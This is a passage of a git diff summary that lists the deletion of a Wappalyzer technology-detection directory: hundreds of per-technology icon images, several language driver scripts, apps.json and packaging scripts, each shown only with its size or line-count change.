Bin 102 -> 0 bytes Wappalyzer/drivers/html/images/icons/Lua.png | Bin 1029 -> 0 bytes .../html/images/icons/M.R. Inc Webserver.png | Bin 1049 -> 0 bytes .../html/images/icons/M.R. Inc Wild CMS.png | Bin 1049 -> 0 bytes .../drivers/html/images/icons/MOBOTIX.png | Bin 645 -> 0 bytes Wappalyzer/drivers/html/images/icons/MODx.png | Bin 1610 -> 0 bytes .../drivers/html/images/icons/Magento.png | Bin 583 -> 0 bytes .../drivers/html/images/icons/Mambo.png | Bin 763 -> 0 bytes .../drivers/html/images/icons/MantisBT.png | Bin 349 -> 0 bytes .../html/images/icons/ManyContacts.png | Bin 371 -> 0 bytes .../drivers/html/images/icons/Marketo.png | Bin 1229 -> 0 bytes .../drivers/html/images/icons/MathJax.png | Bin 1051 -> 0 bytes .../drivers/html/images/icons/MaxSite CMS.png | Bin 772 -> 0 bytes .../html/images/icons/MediaElement.js.png | Bin 105 -> 0 bytes .../drivers/html/images/icons/MediaTomb.png | Bin 995 -> 0 bytes .../drivers/html/images/icons/MediaWiki.png | Bin 2244 -> 0 bytes .../drivers/html/images/icons/Meebo.png | Bin 129 -> 0 bytes .../drivers/html/images/icons/Methode.png | Bin 833 -> 0 bytes .../html/images/icons/Microsoft ASP.NET.png | Bin 1058 -> 0 bytes .../html/images/icons/Microsoft HTTPAPI.png | Bin 157 -> 0 bytes .../images/icons/Microsoft SharePoint.png | Bin 753 -> 0 bytes .../drivers/html/images/icons/MiniBB.png | Bin 142 -> 0 bytes .../drivers/html/images/icons/MiniServ.png | Bin 1379 -> 0 bytes Wappalyzer/drivers/html/images/icons/Mint.png | Bin 348 -> 0 bytes .../drivers/html/images/icons/Mixpanel.png | Bin 1714 -> 0 bytes .../drivers/html/images/icons/Mobify.png | Bin 663 -> 0 bytes .../drivers/html/images/icons/MochiKit.png | Bin 535 -> 0 bytes .../drivers/html/images/icons/MochiWeb.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/Modernizr.png | Bin 112 -> 0 bytes .../drivers/html/images/icons/MoinMoin.png | Bin 379 -> 0 bytes .../drivers/html/images/icons/Mojolicious.png | Bin 655 -> 0 bytes .../drivers/html/images/icons/Mollom.png | Bin 372 -> 0 bytes .../html/images/icons/Moment Timezone.png | Bin 524 -> 0 bytes .../drivers/html/images/icons/Moment.js.png | Bin 524 -> 0 bytes .../drivers/html/images/icons/Mondo Media.png | Bin 607 -> 0 bytes .../drivers/html/images/icons/MongoDB.png | Bin 762 -> 0 bytes .../drivers/html/images/icons/Mongrel.png | Bin 977 -> 0 bytes .../html/images/icons/Monkey HTTP Server.png | Bin 2722 -> 0 bytes .../drivers/html/images/icons/Mono.net.png | Bin 717 -> 0 bytes Wappalyzer/drivers/html/images/icons/Mono.png | Bin 647 -> 0 bytes .../drivers/html/images/icons/MooTools.png | Bin 1398 -> 0 bytes .../drivers/html/images/icons/Moodle.png | Bin 1253 -> 0 bytes .../drivers/html/images/icons/Moogo.png | Bin 440 -> 0 bytes .../html/images/icons/Motion-httpd.png | Bin 1379 -> 0 bytes .../html/images/icons/Movable Type.png | Bin 403 -> 0 bytes Wappalyzer/drivers/html/images/icons/Moxa.png | Bin 536 -> 0 bytes .../html/images/icons/Mozard Suite.png | Bin 425 -> 0 bytes .../drivers/html/images/icons/Mura CMS.png | Bin 677 -> 0 bytes .../drivers/html/images/icons/Mustache.png | Bin 266 -> 0 bytes Wappalyzer/drivers/html/images/icons/MyBB.png | Bin 156 -> 0 bytes .../drivers/html/images/icons/MyBlogLog.png | Bin 701 -> 0 bytes .../drivers/html/images/icons/MySQL.png | Bin 620 -> 0 bytes .../drivers/html/images/icons/Mynetcap.png | Bin 465 -> 0 bytes Wappalyzer/drivers/html/images/icons/NOIX.png | Bin 430 -> 0 bytes Wappalyzer/drivers/html/images/icons/NVD3.png | Bin 1025 -> 0 bytes .../drivers/html/images/icons/Nedstat.png | Bin 331 -> 0 bytes .../drivers/html/images/icons/Nepso.png | Bin 1855 -> 0 bytes .../drivers/html/images/icons/Netmonitor.png | Bin 902 -> 0 bytes .../html/images/icons/Nette Framework.png | Bin 1680 -> 0 bytes .../drivers/html/images/icons/New Relic.png | Bin 1439 -> 0 bytes .../drivers/html/images/icons/Nginx.png | Bin 738 -> 0 bytes .../drivers/html/images/icons/Nokia Maps.png | Bin 515 -> 0 bytes .../drivers/html/images/icons/OXID eShop.png | Bin 384 -> 0 bytes .../drivers/html/images/icons/October CMS.png | Bin 700 -> 0 bytes .../icons/OmniTouch 8660 My Teamwork.png | Bin 2034 -> 0 bytes .../drivers/html/images/icons/OneStat.png | Bin 909 -> 0 bytes .../html/images/icons/Open AdStream.png | Bin 2124 -> 0 bytes .../images/icons/Open Journal Systems.png | Bin 196 -> 0 bytes .../html/images/icons/Open Web Analytics.png | Bin 158 -> 0 bytes .../drivers/html/images/icons/OpenCart.png | Bin 456 -> 0 bytes .../drivers/html/images/icons/OpenGSE.png | Bin 1274 -> 0 bytes .../drivers/html/images/icons/OpenGrok.png | Bin 427 -> 0 bytes .../drivers/html/images/icons/OpenLayers.png | Bin 555 -> 0 bytes .../drivers/html/images/icons/OpenNemas.png | Bin 245 -> 0 bytes .../drivers/html/images/icons/OpenSSL.png | Bin 693 -> 0 bytes .../images/icons/OpenText Web Solutions.png | Bin 392 -> 0 bytes .../drivers/html/images/icons/Ophal.png | Bin 310 -> 0 bytes .../drivers/html/images/icons/Optimizely.png | Bin 736 -> 0 bytes .../icons/Oracle Application Server.png | Bin 873 -> 0 bytes .../Oracle Dynamic Monitoring Service.png | Bin 873 -> 0 bytes .../html/images/icons/Oracle HTTP Server.png | Bin 873 -> 0 bytes .../Oracle Recommendations On Demand.png | Bin 873 -> 0 bytes .../html/images/icons/Oracle Web Cache.png | Bin 873 -> 0 bytes .../drivers/html/images/icons/Outbrain.png | Bin 527 -> 0 bytes .../html/images/icons/Outlook Web App.png | Bin 4258 -> 0 bytes .../drivers/html/images/icons/PANSITE.png | Bin 525 -> 0 bytes .../drivers/html/images/icons/PDF.js.png | Bin 1630 -> 0 bytes .../drivers/html/images/icons/PHP-Fusion.png | Bin 647 -> 0 bytes .../drivers/html/images/icons/PHP-Nuke.png | Bin 746 -> 0 bytes Wappalyzer/drivers/html/images/icons/PHP.png | Bin 822 -> 0 bytes .../drivers/html/images/icons/Pagekit.png | Bin 129 -> 0 bytes .../drivers/html/images/icons/Pardot.png | Bin 1499 -> 0 bytes .../drivers/html/images/icons/Parse.ly.png | Bin 421 -> 0 bytes .../drivers/html/images/icons/PayPal.png | Bin 1221 -> 0 bytes .../drivers/html/images/icons/PencilBlue.png | Bin 503 -> 0 bytes .../drivers/html/images/icons/Percussion.png | Bin 308 -> 0 bytes .../html/images/icons/PerfSONAR-PS.png | Bin 647 -> 0 bytes Wappalyzer/drivers/html/images/icons/Perl.png | Bin 2241 -> 0 bytes .../drivers/html/images/icons/Petrojs.png | Bin 3206 -> 0 bytes .../drivers/html/images/icons/Phaser.png | Bin 329 -> 0 bytes .../drivers/html/images/icons/Piano Solo.png | Bin 1684 -> 0 bytes .../drivers/html/images/icons/Piwik.png | Bin 310 -> 0 bytes .../drivers/html/images/icons/Planet.png | Bin 628 -> 0 bytes .../html/images/icons/Plentymarkets.png | Bin 193 -> 0 bytes .../drivers/html/images/icons/Plesk.png | Bin 724 -> 0 bytes .../drivers/html/images/icons/Pligg.png | Bin 438 -> 0 bytes .../drivers/html/images/icons/Plone.png | Bin 188 -> 0 bytes .../drivers/html/images/icons/Plura.png | Bin 602 -> 0 bytes .../drivers/html/images/icons/Po.st.png | Bin 653 -> 0 bytes .../drivers/html/images/icons/Polymer.png | Bin 1516 -> 0 bytes .../drivers/html/images/icons/Posterous.png | Bin 260 -> 0 bytes .../drivers/html/images/icons/Powergap.png | Bin 668 -> 0 bytes .../drivers/html/images/icons/Prefix-Free.png | Bin 489 -> 0 bytes .../drivers/html/images/icons/Prestashop.png | Bin 1083 -> 0 bytes .../html/images/icons/Project Wonderful.png | Bin 1894 -> 0 bytes .../drivers/html/images/icons/Prototype.png | Bin 536 -> 0 bytes .../drivers/html/images/icons/Protovis.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/Pure CSS.png | Bin 459 -> 0 bytes .../drivers/html/images/icons/Python.png | Bin 755 -> 0 bytes .../drivers/html/images/icons/Quantcast.png | Bin 660 -> 0 bytes .../drivers/html/images/icons/Quick.CMS.png | Bin 250 -> 0 bytes .../drivers/html/images/icons/Quick.Cart.png | Bin 250 -> 0 bytes .../html/images/icons/RAID HTTPServer.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/RBS Change.png | Bin 343 -> 0 bytes Wappalyzer/drivers/html/images/icons/RCMS.png | Bin 439 -> 0 bytes Wappalyzer/drivers/html/images/icons/RDoc.png | Bin 408 -> 0 bytes .../drivers/html/images/icons/RackCache.png | Bin 204 -> 0 bytes .../drivers/html/images/icons/Raphael.png | Bin 1105 -> 0 bytes .../drivers/html/images/icons/Rapid Logic.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/React.png | Bin 561 -> 0 bytes .../drivers/html/images/icons/ReallyCMS.png | Bin 781 -> 0 bytes .../drivers/html/images/icons/Red Hat.png | Bin 1440 -> 0 bytes .../drivers/html/images/icons/Reddit.png | Bin 1282 -> 0 bytes .../drivers/html/images/icons/Redmine.png | Bin 687 -> 0 bytes .../html/images/icons/Reinvigorate.png | Bin 707 -> 0 bytes .../drivers/html/images/icons/RequireJS.png | Bin 345 -> 0 bytes .../drivers/html/images/icons/Reveal.js.png | Bin 108 -> 0 bytes .../drivers/html/images/icons/RiteCMS.png | Bin 245 -> 0 bytes .../drivers/html/images/icons/RoundCube.png | Bin 2108 -> 0 bytes .../html/images/icons/Ruby on Rails.png | Bin 1054 -> 0 bytes Wappalyzer/drivers/html/images/icons/Ruby.png | Bin 2280 -> 0 bytes .../drivers/html/images/icons/S.Builder.png | Bin 204 -> 0 bytes Wappalyzer/drivers/html/images/icons/SAP.png | Bin 348 -> 0 bytes .../drivers/html/images/icons/SDL Tridion.png | Bin 625 -> 0 bytes .../drivers/html/images/icons/SIMsite.png | Bin 1789 -> 0 bytes Wappalyzer/drivers/html/images/icons/SMF.png | Bin 255 -> 0 bytes .../drivers/html/images/icons/SOBI 2.png | Bin 149 -> 0 bytes Wappalyzer/drivers/html/images/icons/SPDY.png | Bin 677 -> 0 bytes Wappalyzer/drivers/html/images/icons/SPIP.png | Bin 1616 -> 0 bytes .../drivers/html/images/icons/SQL Buddy.png | Bin 239 -> 0 bytes .../drivers/html/images/icons/SQLite.png | Bin 627 -> 0 bytes Wappalyzer/drivers/html/images/icons/SUSE.png | Bin 398 -> 0 bytes .../drivers/html/images/icons/SWFObject.png | Bin 745 -> 0 bytes .../drivers/html/images/icons/Saia PCD.png | Bin 336 -> 0 bytes .../drivers/html/images/icons/Sarka-SPIP.png | Bin 2106 -> 0 bytes .../drivers/html/images/icons/Scala.png | Bin 1012 -> 0 bytes .../images/icons/Schneider Web Server.png | Bin 1473 -> 0 bytes .../drivers/html/images/icons/Schneider.png | Bin 1473 -> 0 bytes .../html/images/icons/Scientific Linux.png | Bin 171 -> 0 bytes .../html/images/icons/Sencha Touch.png | Bin 480 -> 0 bytes .../images/icons/Sentinel Keys Server.png | Bin 85 -> 0 bytes .../images/icons/Sentinel License Monitor.png | Bin 85 -> 0 bytes .../icons/Sentinel Protection Server.png | Bin 85 -> 0 bytes .../drivers/html/images/icons/Seoshop.png | Bin 772 -> 0 bytes .../drivers/html/images/icons/Serendipity.png | Bin 757 -> 0 bytes .../drivers/html/images/icons/Shadow.png | Bin 912 -> 0 bytes .../drivers/html/images/icons/ShareThis.png | Bin 667 -> 0 bytes .../drivers/html/images/icons/ShinyStat.png | Bin 222 -> 0 bytes .../drivers/html/images/icons/Shopalize.png | Bin 711 -> 0 bytes .../drivers/html/images/icons/Shopatron.png | Bin 299 -> 0 bytes .../drivers/html/images/icons/Shopify.png | Bin 2054 -> 0 bytes .../drivers/html/images/icons/Shopware.png | Bin 601 -> 0 bytes .../drivers/html/images/icons/Silva.png | Bin 724 -> 0 bytes .../html/images/icons/SilverStripe.png | Bin 168 -> 0 bytes .../drivers/html/images/icons/SimpleHTTP.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/Site Meter.png | Bin 382 -> 0 bytes .../html/images/icons/SiteCatalyst.png | Bin 623 -> 0 bytes .../drivers/html/images/icons/SiteDNK.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/SiteEdit.png | Bin 254 -> 0 bytes .../drivers/html/images/icons/Sitecore.png | Bin 493 -> 0 bytes .../html/images/icons/Sivuviidakko.png | Bin 1658 -> 0 bytes .../drivers/html/images/icons/Sizmek.png | Bin 642 -> 0 bytes .../drivers/html/images/icons/Skimlinks.png | Bin 635 -> 0 bytes .../drivers/html/images/icons/Slimbox 2.png | Bin 1309 -> 0 bytes .../drivers/html/images/icons/Slimbox.png | Bin 1309 -> 0 bytes .../html/images/icons/Smart Ad Server.png | Bin 163 -> 0 bytes .../drivers/html/images/icons/SmartSite.png | Bin 412 -> 0 bytes .../drivers/html/images/icons/Smartstore.png | Bin 284 -> 0 bytes .../drivers/html/images/icons/Snap.svg.png | Bin 689 -> 0 bytes .../drivers/html/images/icons/Snoobi.png | Bin 416 -> 0 bytes .../drivers/html/images/icons/SobiPro.png | Bin 190 -> 0 bytes .../drivers/html/images/icons/Socket.io.png | Bin 1628 -> 0 bytes .../drivers/html/images/icons/Solodev.png | Bin 252 -> 0 bytes .../html/images/icons/SoundManager.png | Bin 537 -> 0 bytes .../drivers/html/images/icons/Sphinx.png | Bin 590 -> 0 bytes .../images/icons/SpiderControl iniNet.png | Bin 652 -> 0 bytes .../drivers/html/images/icons/Splunk.png | Bin 419 -> 0 bytes .../drivers/html/images/icons/Splunkd.png | Bin 419 -> 0 bytes .../drivers/html/images/icons/Spree.png | Bin 431 -> 0 bytes .../drivers/html/images/icons/Squarespace.png | Bin 2098 -> 0 bytes .../html/images/icons/Squiz Matrix.png | Bin 699 -> 0 bytes .../drivers/html/images/icons/Starlet.png | Bin 2241 -> 0 bytes .../drivers/html/images/icons/StatCounter.png | Bin 575 -> 0 bytes .../html/images/icons/Store Systems.png | Bin 558 -> 0 bytes .../drivers/html/images/icons/Stripe.png | Bin 737 -> 0 bytes .../html/images/icons/SublimeVideo.png | Bin 802 -> 0 bytes .../drivers/html/images/icons/Subrion.png | Bin 906 -> 0 bytes .../drivers/html/images/icons/SunOS.png | Bin 873 -> 0 bytes .../drivers/html/images/icons/Supersized.png | Bin 292 -> 0 bytes .../drivers/html/images/icons/Swiftlet.png | Bin 1187 -> 0 bytes .../images/icons/Synology DiskStation.png | Bin 922 -> 0 bytes .../drivers/html/images/icons/TWiki.png | Bin 317 -> 0 bytes .../drivers/html/images/icons/TYPO3 CMS.png | Bin 941 -> 0 bytes .../drivers/html/images/icons/TYPO3 Flow.png | Bin 941 -> 0 bytes .../drivers/html/images/icons/TYPO3 Neos.png | Bin 941 -> 0 bytes .../drivers/html/images/icons/TYPOlight.png | Bin 702 -> 0 bytes .../drivers/html/images/icons/Tealeaf.png | Bin 367 -> 0 bytes .../drivers/html/images/icons/TeamCity.png | Bin 528 -> 0 bytes .../drivers/html/images/icons/Tengine.png | Bin 1914 -> 0 bytes .../html/images/icons/Textpattern CMS.png | Bin 1768 -> 0 bytes .../drivers/html/images/icons/TiddlyWiki.png | Bin 843 -> 0 bytes .../images/icons/Tiki Wiki CMS Groupware.png | Bin 694 -> 0 bytes .../drivers/html/images/icons/Timeline.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/Timeplot.png | Bin 724 -> 0 bytes .../drivers/html/images/icons/TinyMCE.png | Bin 267 -> 0 bytes .../drivers/html/images/icons/Titan.png | Bin 152 -> 0 bytes .../drivers/html/images/icons/TomatoCart.png | Bin 196 -> 0 bytes .../html/images/icons/TornadoServer.png | Bin 809 -> 0 bytes Wappalyzer/drivers/html/images/icons/Trac.png | Bin 1815 -> 0 bytes .../drivers/html/images/icons/TrackJs.png | Bin 3728 -> 0 bytes .../drivers/html/images/icons/Tumblr.png | Bin 456 -> 0 bytes .../html/images/icons/Twilight CMS.png | Bin 426 -> 0 bytes .../drivers/html/images/icons/TwistPHP.png | Bin 1722 -> 0 bytes .../drivers/html/images/icons/TwistedWeb.png | Bin 395 -> 0 bytes .../html/images/icons/Twitter Bootstrap.png | Bin 1427 -> 0 bytes .../drivers/html/images/icons/TypePad.png | Bin 629 -> 0 bytes .../drivers/html/images/icons/Typekit.png | Bin 896 -> 0 bytes .../drivers/html/images/icons/UIKit.png | Bin 393 -> 0 bytes Wappalyzer/drivers/html/images/icons/UNIX.png | Bin 1599 -> 0 bytes .../drivers/html/images/icons/Ubercart.png | Bin 826 -> 0 bytes .../drivers/html/images/icons/Ubuntu.png | Bin 951 -> 0 bytes .../drivers/html/images/icons/UltraCart.png | Bin 2545 -> 0 bytes .../drivers/html/images/icons/Umbraco.png | Bin 671 -> 0 bytes .../html/images/icons/Underscore.js.png | Bin 110 -> 0 bytes .../drivers/html/images/icons/UserRules.png | Bin 831 -> 0 bytes .../drivers/html/images/icons/UserVoice.png | Bin 589 -> 0 bytes .../drivers/html/images/icons/Ushahidi.png | Bin 2760 -> 0 bytes .../drivers/html/images/icons/VIVVO.png | Bin 218 -> 0 bytes .../drivers/html/images/icons/VP-ASP.png | Bin 248 -> 0 bytes .../drivers/html/images/icons/Vanilla.png | Bin 1948 -> 0 bytes .../drivers/html/images/icons/Varnish.png | Bin 325 -> 0 bytes .../drivers/html/images/icons/Veoxa.png | Bin 1462 -> 0 bytes .../drivers/html/images/icons/VideoJS.png | Bin 311 -> 0 bytes .../drivers/html/images/icons/VigLink.png | Bin 1179 -> 0 bytes .../drivers/html/images/icons/Vignette.png | Bin 393 -> 0 bytes .../drivers/html/images/icons/Vimeo.png | Bin 634 -> 0 bytes .../html/images/icons/Virata EmWeb.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/VirtueMart.png | Bin 1878 -> 0 bytes .../html/images/icons/Visual WebGUI.png | Bin 1486 -> 0 bytes .../drivers/html/images/icons/VisualPath.png | Bin 557 -> 0 bytes .../drivers/html/images/icons/Volusion.png | Bin 334 -> 0 bytes Wappalyzer/drivers/html/images/icons/Vox.png | Bin 171 -> 0 bytes .../drivers/html/images/icons/Vue.js.png | Bin 594 -> 0 bytes .../html/images/icons/W3 Total Cache.png | Bin 508 -> 0 bytes .../drivers/html/images/icons/W3Counter.png | Bin 1693 -> 0 bytes .../drivers/html/images/icons/WP Rocket.png | Bin 694 -> 0 bytes .../html/images/icons/Web Optimizer.png | Bin 520 -> 0 bytes .../drivers/html/images/icons/Web2py.png | Bin 133 -> 0 bytes .../drivers/html/images/icons/WebGUI.png | Bin 1973 -> 0 bytes .../html/images/icons/WebPublisher.png | Bin 340 -> 0 bytes .../drivers/html/images/icons/Webix.png | Bin 1926 -> 0 bytes .../drivers/html/images/icons/WebsPlanet.png | Bin 369 -> 0 bytes .../drivers/html/images/icons/Websale.png | Bin 531 -> 0 bytes .../html/images/icons/WebsiteBaker.png | Bin 603 -> 0 bytes .../drivers/html/images/icons/Webtrekk.png | Bin 337 -> 0 bytes .../drivers/html/images/icons/Webtrends.png | Bin 849 -> 0 bytes .../drivers/html/images/icons/Weebly.png | Bin 350 -> 0 bytes .../drivers/html/images/icons/WikkaWiki.png | Bin 667 -> 0 bytes .../drivers/html/images/icons/Windows CE.png | Bin 157 -> 0 bytes .../html/images/icons/Windows Server.png | Bin 157 -> 0 bytes Wappalyzer/drivers/html/images/icons/Wink.png | Bin 436 -> 0 bytes .../icons/Winstone Servlet Container.png | Bin 1379 -> 0 bytes Wappalyzer/drivers/html/images/icons/Wix.png | Bin 587 -> 0 bytes .../drivers/html/images/icons/Wolf CMS.png | Bin 231 -> 0 bytes .../drivers/html/images/icons/WooCommerce.png | Bin 940 -> 0 bytes .../drivers/html/images/icons/Woopra.png | Bin 2465 -> 0 bytes .../images/icons/WordPress Super Cache.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/WordPress.png | Bin 2153 -> 0 bytes .../html/images/icons/Wowza Media Server.png | Bin 512 -> 0 bytes .../drivers/html/images/icons/X-Cart.png | Bin 1254 -> 0 bytes .../drivers/html/images/icons/XAMPP.png | Bin 1929 -> 0 bytes Wappalyzer/drivers/html/images/icons/XMB.png | Bin 697 -> 0 bytes .../drivers/html/images/icons/XOOPS.png | Bin 615 -> 0 bytes .../drivers/html/images/icons/XRegExp.png | Bin 302 -> 0 bytes .../drivers/html/images/icons/Xajax.png | Bin 893 -> 0 bytes .../drivers/html/images/icons/Xanario.png | Bin 465 -> 0 bytes .../drivers/html/images/icons/XenForo.png | Bin 290 -> 0 bytes Wappalyzer/drivers/html/images/icons/XiTi.png | Bin 621 -> 0 bytes .../drivers/html/images/icons/Xitami.png | Bin 175 -> 0 bytes .../drivers/html/images/icons/YUI Doc.png | Bin 1737 -> 0 bytes Wappalyzer/drivers/html/images/icons/YUI.png | Bin 1287 -> 0 bytes Wappalyzer/drivers/html/images/icons/YaBB.png | Bin 357 -> 0 bytes .../html/images/icons/Yahoo Advertising.png | Bin 1737 -> 0 bytes .../html/images/icons/Yahoo! Ecommerce.png | Bin 1737 -> 0 bytes .../images/icons/Yahoo! Web Analytics.png | Bin 1737 -> 0 bytes .../html/images/icons/Yandex.Direct.png | Bin 2031 -> 0 bytes .../html/images/icons/Yandex.Metrika.png | Bin 1113 -> 0 bytes .../drivers/html/images/icons/Yieldlab.png | Bin 1823 -> 0 bytes Wappalyzer/drivers/html/images/icons/Yii.png | Bin 729 -> 0 bytes .../drivers/html/images/icons/YouTube.png | Bin 570 -> 0 bytes Wappalyzer/drivers/html/images/icons/ZK.png | Bin 398 -> 0 bytes .../html/images/icons/ZURB Foundation.png | Bin 833 -> 0 bytes .../drivers/html/images/icons/Zabbix.png | Bin 125 -> 0 bytes .../drivers/html/images/icons/Zanox.png | Bin 789 -> 0 bytes .../drivers/html/images/icons/Zen Cart.png | Bin 938 -> 0 bytes Wappalyzer/drivers/html/images/icons/Zend.png | Bin 1119 -> 0 bytes .../drivers/html/images/icons/Zepto.png | Bin 2358 -> 0 bytes .../drivers/html/images/icons/Zeuscart.png | Bin 1051 -> 0 bytes .../drivers/html/images/icons/Zinnia.png | Bin 848 -> 0 bytes Wappalyzer/drivers/html/images/icons/Zope.png | Bin 574 -> 0 bytes .../drivers/html/images/icons/amCharts.png | Bin 117 -> 0 bytes .../drivers/html/images/icons/basket.js.png | Bin 749 -> 0 bytes .../drivers/html/images/icons/cPanel.png | Bin 539 -> 0 bytes Wappalyzer/drivers/html/images/icons/cgit.png | Bin 115 -> 0 bytes .../drivers/html/images/icons/comScore.png | Bin 1429 -> 0 bytes .../drivers/html/images/icons/debut.png | Bin 210 -> 0 bytes .../drivers/html/images/icons/default.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/dwhttpd.png | Bin 1379 -> 0 bytes Wappalyzer/drivers/html/images/icons/e107.png | Bin 574 -> 0 bytes .../html/images/icons/eDevice SmartStack.png | Bin 569 -> 0 bytes .../drivers/html/images/icons/eHTTP.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/eSyndiCat.png | Bin 724 -> 0 bytes .../drivers/html/images/icons/eZ Publish.png | Bin 134 -> 0 bytes .../drivers/html/images/icons/flask.png | Bin 2027 -> 0 bytes Wappalyzer/drivers/html/images/icons/git.png | Bin 602 -> 0 bytes .../drivers/html/images/icons/gitweb.png | Bin 602 -> 0 bytes .../drivers/html/images/icons/gunicorn.png | Bin 1651 -> 0 bytes .../drivers/html/images/icons/iCongo.png | Bin 906 -> 0 bytes Wappalyzer/drivers/html/images/icons/iWeb.png | Bin 219 -> 0 bytes .../drivers/html/images/icons/io4-CMS.png | Bin 445 -> 0 bytes .../drivers/html/images/icons/jQTouch.png | Bin 884 -> 0 bytes .../html/images/icons/jQuery Mobile.png | Bin 1418 -> 0 bytes .../html/images/icons/jQuery Sparklines.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/jQuery UI.png | Bin 727 -> 0 bytes .../drivers/html/images/icons/jQuery.png | Bin 1418 -> 0 bytes .../drivers/html/images/icons/jqPlot.png | Bin 592 -> 0 bytes .../html/images/icons/libwww-perl-daemon.png | Bin 2241 -> 0 bytes .../drivers/html/images/icons/lighttpd.png | Bin 949 -> 0 bytes .../drivers/html/images/icons/math.js.png | Bin 346 -> 0 bytes .../drivers/html/images/icons/mini_httpd.png | Bin 124 -> 0 bytes .../html/images/icons/mod_auth_pam.png | Bin 1331 -> 0 bytes .../drivers/html/images/icons/mod_fastcgi.png | Bin 1331 -> 0 bytes .../drivers/html/images/icons/mod_jk.png | Bin 1331 -> 0 bytes .../drivers/html/images/icons/mod_perl.png | Bin 372 -> 0 bytes .../drivers/html/images/icons/mod_python.png | Bin 607 -> 0 bytes .../drivers/html/images/icons/mod_rack.png | Bin 1922 -> 0 bytes .../drivers/html/images/icons/mod_rails.png | Bin 1922 -> 0 bytes .../drivers/html/images/icons/mod_ssl.png | Bin 488 -> 0 bytes .../drivers/html/images/icons/mod_wsgi.png | Bin 199 -> 0 bytes .../drivers/html/images/icons/node.js.png | Bin 1044 -> 0 bytes .../drivers/html/images/icons/nopCommerce.png | Bin 736 -> 0 bytes .../drivers/html/images/icons/openEngine.png | Bin 273 -> 0 bytes .../drivers/html/images/icons/osCSS.png | Bin 750 -> 0 bytes .../drivers/html/images/icons/osCommerce.png | Bin 1647 -> 0 bytes .../drivers/html/images/icons/ownCloud.png | Bin 799 -> 0 bytes .../drivers/html/images/icons/papaya CMS.png | Bin 391 -> 0 bytes .../drivers/html/images/icons/phpAlbum.png | Bin 443 -> 0 bytes .../drivers/html/images/icons/phpBB.png | Bin 1240 -> 0 bytes .../drivers/html/images/icons/phpCMS.png | Bin 425 -> 0 bytes .../html/images/icons/phpDocumentor.png | Bin 367 -> 0 bytes .../drivers/html/images/icons/phpMyAdmin.png | Bin 468 -> 0 bytes .../drivers/html/images/icons/phpPgAdmin.png | Bin 237 -> 0 bytes .../html/images/icons/phpSQLiteCMS.png | Bin 359 -> 0 bytes .../drivers/html/images/icons/phpwind.png | Bin 467 -> 0 bytes .../drivers/html/images/icons/prettyPhoto.png | Bin 139 -> 0 bytes .../drivers/html/images/icons/punBB.png | Bin 295 -> 0 bytes .../drivers/html/images/icons/reCAPTCHA.png | Bin 607 -> 0 bytes Wappalyzer/drivers/html/images/icons/sIFR.png | Bin 111 -> 0 bytes .../drivers/html/images/icons/sNews.png | Bin 270 -> 0 bytes .../html/images/icons/script.aculo.us.png | Bin 542 -> 0 bytes .../drivers/html/images/icons/spin.js.png | Bin 1295 -> 0 bytes .../html/images/icons/swift.engine.png | Bin 130 -> 0 bytes .../drivers/html/images/icons/three.js.png | Bin 275 -> 0 bytes .../drivers/html/images/icons/thttpd.png | Bin 124 -> 0 bytes .../drivers/html/images/icons/total.js.png | Bin 176 -> 0 bytes .../drivers/html/images/icons/uCore.png | Bin 779 -> 0 bytes .../drivers/html/images/icons/vBulletin.png | Bin 1808 -> 0 bytes .../drivers/html/images/icons/viennaCMS.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/webEdition.png | Bin 418 -> 0 bytes .../drivers/html/images/icons/xCharts.png | Bin 1379 -> 0 bytes .../drivers/html/images/icons/xtCommerce.png | Bin 1092 -> 0 bytes Wappalyzer/drivers/html/images/icons/xui.png | Bin 600 -> 0 bytes .../drivers/html/images/icons/yepnope.js.png | Bin 1330 -> 0 bytes Wappalyzer/drivers/html/index.html | 30 - Wappalyzer/drivers/html/js/driver.js | 67 - Wappalyzer/drivers/html/js/wappalyzer.js | 531 --- Wappalyzer/drivers/phantomjs/.gitignore | 2 - Wappalyzer/drivers/phantomjs/js/driver.js | 158 - Wappalyzer/drivers/phantomjs/js/wappalyzer.js | 531 --- .../phantomjs/lib/PLACE_PHANTOMJS_BINARY_HERE | 0 Wappalyzer/drivers/php/Wappalyzer.php | 193 - .../drivers/php/WappalyzerException.php | 4 - Wappalyzer/drivers/php/index.php | 36 - Wappalyzer/drivers/php/js/driver.js | 46 - Wappalyzer/drivers/php/js/wappalyzer.js | 531 --- Wappalyzer/drivers/python/js/.gitkeep | 0 Wappalyzer/drivers/python/js/wappalyzer.js | 531 --- Wappalyzer/drivers/python/wappalyzer.py | 55 - Wappalyzer/drivers/python_raw/__init__.py | 2 - Wappalyzer/drivers/python_raw/real_test.py | 156 - Wappalyzer/drivers/python_raw/setup.py | 23 - Wappalyzer/drivers/python_raw/tests.py | 131 - Wappalyzer/drivers/python_raw/wappalyzer.py | 142 - Wappalyzer/drivers/ruby/wappalyzer.rb | 41 - Wappalyzer/links.cmd | 111 - Wappalyzer/links.sh | 28 - Wappalyzer/package.cmd | 61 - Wappalyzer/package.sh | 10 - Wappalyzer/share/apps.json | 4246 ----------------- Wappalyzer/share/images/icons/1C-Bitrix.png | Bin 369 -> 0 bytes Wappalyzer/share/images/icons/1und1.png | Bin 288 -> 0 bytes Wappalyzer/share/images/icons/2z Project.png | Bin 529 -> 0 bytes Wappalyzer/share/images/icons/3DM.png | Bin 631 -> 0 bytes Wappalyzer/share/images/icons/3dCart.png | Bin 339 -> 0 bytes Wappalyzer/share/images/icons/3ware.png | Bin 631 -> 0 bytes Wappalyzer/share/images/icons/AMPcms.png | Bin 779 -> 0 bytes Wappalyzer/share/images/icons/AOLserver.png | Bin 473 -> 0 bytes .../images/icons/AT Internet Analyzer.png | Bin 796 -> 0 bytes .../share/images/icons/AT Internet XiTi.png | Bin 796 -> 0 bytes Wappalyzer/share/images/icons/ATEN.png | Bin 644 -> 0 bytes 